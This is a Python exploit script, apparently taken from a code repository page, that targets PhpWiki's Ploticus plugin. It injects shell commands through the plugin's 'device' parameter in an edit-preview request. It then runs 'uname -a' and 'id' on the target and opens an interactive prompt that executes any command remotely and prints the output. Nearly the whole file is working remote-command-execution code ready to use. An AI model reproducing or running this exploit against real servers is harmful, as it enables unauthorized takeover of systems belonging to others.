52 lines
No EOL
1.8 KiB
Python
Executable file
52 lines
No EOL
1.8 KiB
Python
Executable file
###############################################################
|
|
# ____ __ _ __ _
|
|
# / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_)
|
|
# / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ /
|
|
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /
|
|
#/_/ \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/
|
|
# /_/ /_/ /_/
|
|
# Diskovered in Nov/Dec 2011
|
|
###############################################################
|
|
|
|
import urllib
|
|
import urllib2
|
|
import sys
|
|
def banner():
|
|
print " ____ __ _ __ _ "
|
|
print " / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_)"
|
|
print " / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / "
|
|
print " / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / "
|
|
print " /_/ \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ "
|
|
print " /_/ /_/ /_/ \n"
|
|
|
|
|
|
def usage():
|
|
banner()
|
|
print " [+] Usage example"
|
|
print " [-] python " + sys.argv[0] + " http://path.to/wiki"
|
|
|
|
if len(sys.argv)< 2:
|
|
usage()
|
|
quit()
|
|
|
|
domain = sys.argv[1]
|
|
def commandexec(cmd):
|
|
data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\':::\' 1>&2;'+cmd+' 1>&2;echo \':::\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')])
|
|
cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)
|
|
cmd2 = urllib2.urlopen(cmd1)
|
|
output = cmd2.read()
|
|
firstloc = output.find("123:::\n") + len("123:::\n")
|
|
secondloc = output.find("\n:::123")
|
|
return output[firstloc:secondloc]
|
|
|
|
|
|
banner()
|
|
print commandexec('uname -a')
|
|
print commandexec('id')
|
|
while(quit != 1):
|
|
cmd = raw_input('Run a command: ')
|
|
if cmd == 'quit':
|
|
print "[-] Hope you had fun :)"
|
|
quit = 1
|
|
if cmd != 'quit':
|
|
print commandexec(cmd) |